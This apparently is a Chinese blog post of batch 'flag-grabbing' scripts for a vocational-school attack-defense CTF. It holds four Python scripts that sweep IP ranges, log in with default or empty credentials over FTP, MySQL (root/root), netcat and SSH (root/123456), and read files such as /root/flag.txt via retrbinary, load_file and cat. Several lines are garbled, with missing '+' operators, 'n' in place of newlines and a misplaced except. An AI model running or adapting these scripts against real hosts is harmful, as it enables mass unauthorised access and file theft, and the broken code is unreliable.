中职网络空间安全批量拿Flag脚本

FTP

代码语言：javascript复制

from ftplib import FTP
import time
import threading
import tarfile
import os
def ftpconnect(host,username,password,remotepath,localpath):
        try:

            ftp = FTP()
            ftp.connect(host,21)
            ftp.login(username,password)
            bufsize = 1024
            fp = open(localpath,"a ")
            ftp.retrbinary('RETR '  remotepath, fp.write,bufsize)
            ftp.set_debuglevel(0)
            ftp.quit()
            fp.write('n')
            fp.write(host)
            fp.close()
        except:
            pass
if __name__ =='__main__':
        for i in range(100,120):
                ip = '10.124.0.' str(i)
                p=threading.Thread(target=ftpconnect,args=(ip,'ftp','','flag.txt','/a.txt'))
                p.start()

MySql

代码语言：javascript复制

import threading
import MySQLdb

def con(ip):
    try:
        con=MySQLdb.connect(host=ip,user='root',passwd='root')
        cur=con.cursor()
        sql="select load_file('/root/flagvalue.txt');" //flag存放位置
        cur.execute(sql)
        re=cur.fetchall()
        print ip,re
    except Exception as er:
        print er
def th():
    for i in range(100,220):
        ip='172.16.%s.101' %i
        t=threading.Thread(target=con,args=(ip,))
        t.start()
th()

NC

代码语言：javascript复制

import threading
import    commands
def get(ip):
    try:
        for p in range(10000,10010):
            a=commands.getstatusoutput('nc -w 3 ' ip " " str(p) ' ' '</root/cmd.txt')
            #/root/cmd.txt是本地的一个文件里面是执行命令
            if a[0]==None:
                print (ip ' flag: ' a[1])
                exit(0)
    except:
        pass
if __name__=='__main__':
    for i in range(1,10):
        ip='192.168.105.' str(i)
        q=threading.Thread(target=get,args=(ip))
        q.start()

SSH

代码语言：javascript复制

import paramiko
import threading
import os
def ssh2(ip,username,passwd,cmd):
    try:
        ssh=paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(ip,22,username,passwd,timeout=5)
        stdin,stdout,stderr=ssh.exec_command(cmd)
        stdin.write("Y")
        out = stdout.read()
        print out 
        print '%s t OK n' %(ip)
        aa = open("abc.txt","a")
        aa.write(ip)
        aa.write("n")
        aa.write(out)
        aa.close()
        except:
        print '%s t Error n' %(ip)
if __name__=='__main__':
    cmd = "cat /root/flag.txt"
    username = "root"
    passwd ="123456"
    threads=[]
    for i in range(20,30):
        ip = '10.124.0.'  str(i)
        a=threading.Thread(target=ssh2,args=(ip,username,passwd,cmd))
        a.start()

ssh ftp mysql

0 人点赞